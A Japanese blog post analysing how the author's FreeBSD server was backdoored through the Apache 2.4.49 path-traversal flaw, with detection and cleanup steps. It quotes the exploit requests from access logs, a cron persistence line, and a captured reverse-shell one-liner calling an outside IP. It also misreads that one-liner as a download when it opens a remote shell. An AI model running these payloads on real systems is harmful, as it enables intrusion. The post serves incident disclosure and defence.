先日、私のFreeBSD11.4 サーバーにバックドアが仕掛けられてしまったメモを書きました。
これは、Apache 2.4.49 の脆弱性を突かれたもので、仕掛けられていたプログラムは無効化したのですが、その後も侵入箇所や、侵入方法、バックドアの仕組みなどを解析してみました。
脆弱性の詳しい情報は、https://www.jpcert.or.jp/at/2021/at210043.html などを参照のこと。
OSの脆弱性を突かれたものではないので、脆弱性がある Apache 2.4.49を使っていれば、OSがLinuxでも、Windowsでも、Solaris でも侵入を許してしまいます。
攻撃を受けているかどうかを確認するには、httpd のログを見てみれば簡単にわかります。
まず、Apache 2.4.51 やそれより前のApacheバージョンを使っているならチェックしてみるのがいいでしょう。
CGIを利用可にしてあり、デフォルト cgi-bin ディレクトリーを使っている場合、要確認。
以下、赤文字のように、cgi-bin ディレクトリーからの相対パスで、/bin/sh を実行しようとした記録が残っています。200 なら、侵入が成功しています。40x なら失敗。CGIが有効でも、デフォルト以外の cgi-bin ディレクトリーを使っていると、/bin/sh への相対深度が異なる可能性があり、侵入が失敗に終わることもあります。
static.77.187.202.116.clients.your-server.de - - [14/Nov/2021:10:11:14 +0900] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 9 "-" "curl/7.79.1" static.77.187.202.116.clients.your-server.de - - [14/Nov/2021:10:13:51 +0900] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 11 "-" "curl/7.79.1" static.77.187.202.116.clients.your-server.de - - [14/Nov/2021:10:25:29 +0900] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 5 "-" "curl/7.79.1" static.77.187.202.116.clients.your-server.de - - [14/Nov/2021:12:12:23 +0900] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 24 "-" "curl/7.79.1" 101.88.6.30 - - [01/Nov/2021:22:57:18 +0900] "GET /cgi-bin/.%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd HTTP/1.1" 404 1043 "-" "-" 101.88.6.30 - - [02/Nov/2021:00:04:18 +0900] "GET /cgi-bin/.%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd HTTP/1.1" 404 1043 "-" "-"
対象バージョンのApacheを使っていて、CGIが有効なら、パスワードファイルを持って行かれた可能性があります。パスワードファイルを盗まれても、今どきパスワードファイルにパスワードは書かれていないので、どんなアカウントがあるかがわかる程度。もし、パスワードファイルにユーザーのフルネーム情報が書かれているなら「アカウント→本名→Web検索とSNSホームページ」が結び付けられてしまうかもしれません。気分は悪いですが、大きな誤差を含む情報ですから、それ自体は大したことじゃない。
次に、脆弱性を突いて、何かファイルを送り込まれ、それを実行される可能性があります。
実際私のサーバーはファイルを送られ、実行されました。しかし、送ったファイルをシステムに保存するためには、Webサービスを動かしているユーザーの権限で書き込める場所にしか保存できませんから、通常は、/tmp か、/var/tmp の下となります。
そして、送りこんだファイルを隠しておきたいので、Unixファイルシステムの、ピリオド “.” で始まるディレクトリーを作って、ファイルを保存します。しかも、そこにあっても不思議に見えないファイル名を使う可能性が大です。
今回の犯人は、/var/tmp または /tmp 以下に、.log というディレクトリーを作って、その下を侵入ファイル置き場にしていました。
うちの場合、侵入を試みた輩は一人ではなく、関係のない複数人のようで、複数の足跡が残っていました。
/var/tmp/.log の下。
# ls -F 101001/ 101007/ 101013/ 101019/ 101025/ 101031/ 101037/ 101043/ 101049/ 101055/ 101061/ 101067/ 101073/ 101079/ 101085/ 101091/ 101097/ 101002/ 101008/ 101014/ 101020/ 101026/ 101032/ 101038/ 101044/ 101050/ 101056/ 101062/ 101068/ 101074/ 101080/ 101086/ 101092/ 101098/ 101003/ 101009/ 101015/ 101021/ 101027/ 101033/ 101039/ 101045/ 101051/ 101057/ 101063/ 101069/ 101075/ 101081/ 101087/ 101093/ 101099/ 101004/ 101010/ 101016/ 101022/ 101028/ 101034/ 101040/ 101046/ 101052/ 101058/ 101064/ 101070/ 101076/ 101082/ 101088/ 101094/ 101100/ 101005/ 101011/ 101017/ 101023/ 101029/ 101035/ 101041/ 101047/ 101053/ 101059/ 101065/ 101071/ 101077/ 101083/ 101089/ 101095/ 101006/ 101012/ 101018/ 101024/ 101030/ 101036/ 101042/ 101048/ 101054/ 101060/ 101066/ 101072/ 101078/ 101084/ 101090/ 101096/
何かのサービスのログフォルダー風のTree構造に見せて、この中の一つにバックドアプログラムが仕掛けられています。
サーバー再起動に備えて、HTTPサービス権限のユーザーのcrontabを仕掛け、プロセスをKillされた場合にも再起動するようにしています。詳しくは、前のメモを参照のこと。
crontab がいじられていないかどうかは、cron のログを見てみれば推測できます。crontab 実行結果は /dev/null に捨てて、足が付かないようにしてありますが、cron ログファイルには記録が残ります。通常cronバッチファイルが tmp 下に置かれることはないので、tmp で grep すれば、以下のような感じで抽出されます。
Dec 18 12:00:00 /usr/sbin/cron[67035]: (www) CMD (cd /var/tmp/.log/10106/.spoollog && sh .cron.sh > /dev/null 2>&1 &)
cron ログにこういう行が残っていれば、サーバーに侵入されていますね。
別の侵入者の手口だと思いますが、/tmp/.log というディレクトリーが作られて、その下にファイルが置かれていました。
# ls -laR /tmp/.log total 12 drwxr-xr-x 3 www wheel 512 10月 12 07:15 . drwxrwxrwt 11 root wheel 1024 12月 29 20:28 .. drwxr-xr-x 2 www wheel 512 12月 10 01:57 .spoollog /tmp/.log/.spoollog: total 88 drwxr-xr-x 2 www wheel 512 12月 10 01:57 . drwxr-xr-x 3 www wheel 512 10月 12 07:15 .. -rwxr-xr-x 1 www wheel 21732 12月 10 01:56 .curl -rw-r--r-- 1 www wheel 7 10月 12 07:15 .pinfo -rwxr-xr-x 1 www wheel 30746 12月 10 01:57 curl -rw-r--r-- 1 www wheel 19628 12月 10 01:57 curl.c
侵入に使うcurlバイナリーが置かれています。
/tmp/.log/.spoollog> file .curl .curl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=aea8694bd4f741a1935a38ceb5af36dd39c2cb74, not stripped /tmp/.log/.spoollog> file curl curl: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked, interpreter /libexec/ld-elf.so.1, for FreeBSD 11.4, FreeBSD-style, not stripped
Linux と FreeBSD 用のバイナリーです。
バックドアを仕掛けられてはいない別のサーバーの /tmp 下に、次のファイルが見つかりました。
-rw-r--r-- 1 nobody wheel 45 11月 17 03:40 revoshell.sh
中身は、
# cat revoshell.sh /bin/sh -i >& /dev/tcp/31.14.41.57/9564 0>&1
FreeBSDには /dev/tcp は無いので、このコマンドは失敗しますが、ファイルを置かれたことは事実。
多分、IPアドレス 31.14.41.57 のサーバーのTCPポート 9564 から何かをダウンロードしたいものだと思います。31.14.41.57 は、ルーマニアのIPアドレス。
inetnum: 31.14.40.0 - 31.14.42.255 netname: RO-DATAROOM-20110418 country: RO
手口が異なり、侵入ファイル保存に使うディレクトリーもファイル名もサーバーもバラバラ。多分、たくさんの侵入を試みる輩がバラバラに行動しているんでしょうね。たまたま、うまくバックを仕掛けた奴を見つけて、解析を進めてゆき、他の侵入者にも気が付いたというのが現状のようです。
もし、このメモを見て、自分のサーバーに不安要素があると感じたなら、
- Apache のバージョン確認
- 見知らぬプロセスが動いていないか確認
- /tmp、/var/tmp 下に非表示ディレクトリが置かれていないか、実行権があるスクリプトが置かれていないかを確認
- Cronのログファイルに、tmp を含む実行跡がないかを確認
- 通信をブロックできるファイヤーウォールがあるなら、念のために、バックドアが通信していたサーバーのIPアドレスをブロック。your-server.de ドメインを全てブロック。
見つけた場合、ファイルを消してしまうと後で解析ができなくなるので、見つけたプログラムの実行権を消し、最上位フォルダーの非表示ファイル名を(ドットが付かない表示可能な)フォルダー名に変更。
バックドアプロセスをKILLして、(目に見える被害がないなら)IPAやJPCERTあたりにレポートしましょう。もし、被害を見つけた場合は警察へ連絡して相談。
今後も解析を継続する予定で、新しい情報を見つけたらメモを残したいと思います。
しかし、一度こういう侵入を受けると、そのあとが面倒臭いこと。
httpd ユーザーの権限では書き込めるディレクトリーは限られますが、読み出せる範囲は広いので、何を読まれたか?と考えるとファイルシステム全部の可能性があります。困ったものです。